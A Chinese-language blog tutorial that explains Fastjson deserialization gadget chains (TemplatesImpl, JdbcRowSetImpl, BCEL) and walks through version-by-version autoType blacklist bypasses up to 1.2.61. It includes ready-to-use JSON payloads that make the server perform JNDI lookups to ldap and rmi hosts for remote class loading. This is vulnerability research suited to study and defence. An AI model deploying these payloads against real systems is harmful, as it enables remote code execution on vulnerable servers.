0x00 前言
本文先讲解fastjson版本低于1.1.25的gadget,再讲解高版本绕过。
0x01 gadget <= 1.1.24
概述
FastJson反序列化与Serializable反序列化的区别:
FastJson反序列化 | Serializable反序列化 | |
---|---|---|
接口实现 | 不需要实现接口 | 需要实现java.io.Serializable接口 |
类的要求 | 属性要有setter或者getter | 类要有readObject方法 |
属性要求 | 属性有对应的setter或者是public或者是符合的getter | 属性不能是transient |
触发点 | setter或者getter | readObject方法 |
FastJson反序列化一般的思路,也是先寻找执行点,再一步步寻找setter或者getter。
TemplatesImpl
payload存放字节码,不出网。
TemplatesImpl 类常用于cc链等加载字节码。
在TemplatesImpl #defineTransletClasses()里有这么一串代码:
这就是TemplatesImpl 类加载字节码的地方。
该方法并不是setter或者getter,其中比如_bytecodes等属性的赋值也需要依靠setter来完成,这些都是需要满足的条件。
就不一步步寻找了,直接给出调用链:
1 | getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> loader.defineClass(_bytecodes[i]) |
这些方法都在TemplatesImpl 类,并且入口方法是满足条件的getter:
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
TemplatesImpl 类的这种攻击方式并不常用,因为其属性都是private,所以需要特定的配置:Feature.SupportNonPublicField
。
给出POC:
1 | import com.alibaba.fastjson.JSON; |
JdbcRowSetImpl
利用JNDI,要出网,受到对应依赖和版本限制。
问题出在JdbcRowSetImpl.JdbcRowSetImpl#connect()
这里:
发起了JNDI请求,地址是dataSourceName属性提供的。
利用链:
1 | setAutoCommit() -> connect() -> ctx.lookup(getDataSourceName()) |
具体流程自行探究,并不难。给出POC:
1 | import com.alibaba.fastjson.JSON; |
bcel.ClassLoader
payload存放字节码,不出网。
BCEL依赖:
1 | <dependency> |
问题出在com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass()
这里:
这里的loadClass方法参数如下:
class_name参数实际上是特殊编码后的字节码数据,换言之,loadClass方法可以接受字节码参数。至于采用何种编码,根据源码逻辑不难想到。
显然loadClass方法不能作为触发点,那么就寻找调用。调用点所在方法必须是setter或者特定的getter,但如果解析方法不是JSON.parse方法而是JSON.parseObject方法,就对getter没有要求——toJSON方法会调用全部的setter和getter。
在寻找的过程中,我们也要注意必要的分支条件是否满足,其往往是对一些属性进行判断。如果对属性有要求,我们也要关注这些属性的setter等方法。
给出POC:
1 | import com.alibaba.fastjson.JSON; |
给出一个问题:
细心的读者发现,在TemplatesImpl 攻击方法和bcel.ClassLoader攻击方法,我所采用的恶意字节码源码其实是有所差别的。具体差别自行探索,关于一个接口。
小结
三种方法,有远程加载字节码也有本地加载字节码(攻击者本地)。
本质上都不难理解,先寻找一个执行危险方法的点,再一直寻找到setter和getter等方法,中途需要关注各个属性,其也需要setter来操控。
0x02 fastjson各版本绕过
如无特殊说明,都以com.sun.rowset.JdbcRowSetImpl链为例。
概述
宏观概述
前面采用的fastjson依赖是fastjson1.1.24,在1.1.25版本fastjson做了修复,修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass方法替换为checkAutoType方法。
fastjson < 1.1.25
fastjson >= 1.1.25
跟进checkAutoType方法,发现该方法有很多if分支,但是近乎没有else,如此我们就无法判断不满足if条件的时候会出现什么情况,无形之中加大了难度。
该方法的流程,B站白日梦组长有制作对应的流程图,这里给出相关视频链接:fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili
autoTypeSupport
autoTypeSupport是
checkAutoType()
函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()
函数的某些代码逻辑起到开关的作用。默认情况下autoTypeSupport为False,将其设置为True有两种方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
AutoType白名单设置方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
- 代码中设置:
ParserConfig.getGlobalInstance().addAccept("com.xx.a");
- 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.
流程分析
默认情况下,autoTypeSupport = false,expectClass = null。下文以默认情况autoTypeSupport = false
的视角讲解:
首先就是判断两个属性,为真则进入黑白名单的判断,白名单可以加载类,但是这些类并不符合预期;黑名单存放常规危险类所在包,遇到就抛异常。显然我们进入不了黑白名单的判断,就算可以进入,黑白名单也限制的很死。
接着往下看。先进行两次查缓存表,第一次直接查找对应的类,第二次查找对应的反序列化器。因为expectClass参数默认是null,所以下面的分支不会进去。
试想,我们是否可以尝试在这两个缓存表里写入预期的类或者反序列化器,这样就可以进行类加载了。
先往下看。下面又进行了一次黑白名单,略。
假设成功利用上面的表加载了类,下面还要进行一次判断:
后面也没什么值得注意的了。
1.2.25 - 1.2.41
- 需要开启 AutoTypeSupport
EXP
1 | package Bybass; |
分析
简单的一个绕过。顺着checkAutoType方法的逻辑走到这里:
TypeUtils.loadClass方法有这么一段处理:
没错,在进入TypeUtils.loadClass方法之前就要面对黑名单,但是Lcom.sun.rowset.JdbcRowSetImpl;
类显然是不存在的类,所以黑名单不存在该“类”,自然就通过了黑名单。
为什么不存在这样的类?其实这种LclassName;
的写法是className对应的数组类的写法,但是数组类是没有对应的静态字节码文件的。
往深处思考,我们的目的是进行类加载,更确切地说,是先通过黑名单,再进行类加载。通过黑名单很简单,随便写个乱七八糟的字符串都可以。但是要保证通过黑名单的该类可以进行类加载,就需要去看后面类加载(loadClass方法)的相关源码,看看是否存在关于字符串的识别逻辑。
所以说,漏洞并不只是出现在一个地方,有些漏洞是多个地方互相配合的时候产生的。这就要求我们在进行代码审计的时候,仔细通读整个流程的代码,哪怕是旁支末节甚至看起来不可能调用到的地方,都要分析一下。
1.2.25 - 1.2.42
EXP
1 | package Bybass; |
分析
在黑名单检查之前,先来删除首尾的L和**”**:
那我如果再加一层L和**”**呢?这么设计代码,我感觉有点小问题啊!
1.2.25 - 1.2.43
EXP
1 | package Bybass; |
分析
这一段把前面两种方法一网打尽:
但是我们发现在删除L和**;的代码上面,还有对[**的处理:
那么就在类前面直接加一个**[**,会报错:
满足它,再来:
再满足它,成功:
1.2.25 - 1.2.45
EXP
1 | package Bybass; |
分析
有兴趣的自行探究,不难。
主要是黑名单绕过,这个类我们在哈希黑名单中1.2.46的版本中可以看到:
version | hash | hex-hash | name |
---|---|---|---|
1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource |
1.1.25 - 1.2.47 通杀
- 通杀,不需要开启 AutoTypeSupport
思路其实很有意思。我们要走的分支是缓存表加载类,缓存表(mappings)如下:
mappings要有可以攻击的类才行,比如TemplatesImpl类、JdbcRowSetImpl类(下文以JdbcRowSetImpl类为例)。不难得知,mappings没有这些类,所以我们得自己添加这些类到mappings。
从宏观上来说,添加类到mappings这一个动作,得由FastJson反序列化(parseObject方法)来触发。所以我们希望存在这么一个类,在进行FastJson反序列化时,把目标类添加到mappings里面。
不难想到,本次的POC里至少需要涉及两个类的反序列化,而前面类的反序列化是为了把目标类添加到mappings里,使得最后的目标类可以进行类加载,进而达成反序列化攻击。
下面先给出添加类到mappings这一动作的调用链(第一个对象反序列化流程):
·> parseObject(“{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”}”)
-> config.checkAutoType(typeName, null)
-> TypeUtils.getClassFromMapping(typeName)
-> this.config.getDeserializer(clazz)
-> MiscCodec.deserialze()
-> TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())
-> mappings.put(className, clazz)
第一个反序列化的类是java.lang.Class,因为该类的反序列化器是MiscCodec,该反序列化器的deserialze方法会进行put操作,且put的参数可空。至于参数为什么叫val,没搞懂。
讲得比较大概,希望读者自行调试,建议先写POC,再动态调试,不要急,慢慢调试搞清楚流程。POC:
1 | package Bybass; |
实际使用fastjson1.2.47走到checkAutoType的时候会发现和1.2.25是不一样的:
FastJson1.2.42开始,原先的denyLists黑名单变成了一个哈希表,防止安全人员研究这玩意来进行绕过,但是在这个版本还是没防住通过向mappings添加类名来达到类加载的绕过。已破解开的黑名单哈希如下:https://github.com/LeadroyaL/fastjson-blacklist
简单来说,由于checkAutoType方法不够完善,使得攻击者可以先反序列化一次往mappings里put目标类,然后再进行一次目标类的反序列化进行攻击。
如果不使用第一种方法,也就是写入缓存表,那我们只能尝试黑名单绕过。如果AutoTypeSupport是关闭的,那么即使绕过了黑名单也没有类加载的逻辑,所以下文的AutoTypeSupport开关得打开。
下面几个版本就照搬Drunkbaby师傅的:
1.2.5 - 1.2.59
1 | {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} |
1.2.5 - 1.2.60
需要开启 autoType:
JAVA
1 | {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"} |
1.2.5 - 1.2.61
JAVA
1 | {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/ExportObject"} |
更高版本的先放一个Drunkbaby师傅的文章链接在这里:
Java反序列化Fastjson篇04-Fastjson1.2.62-1.2.68版本反序列化漏洞 | Drunkbaby’s Blog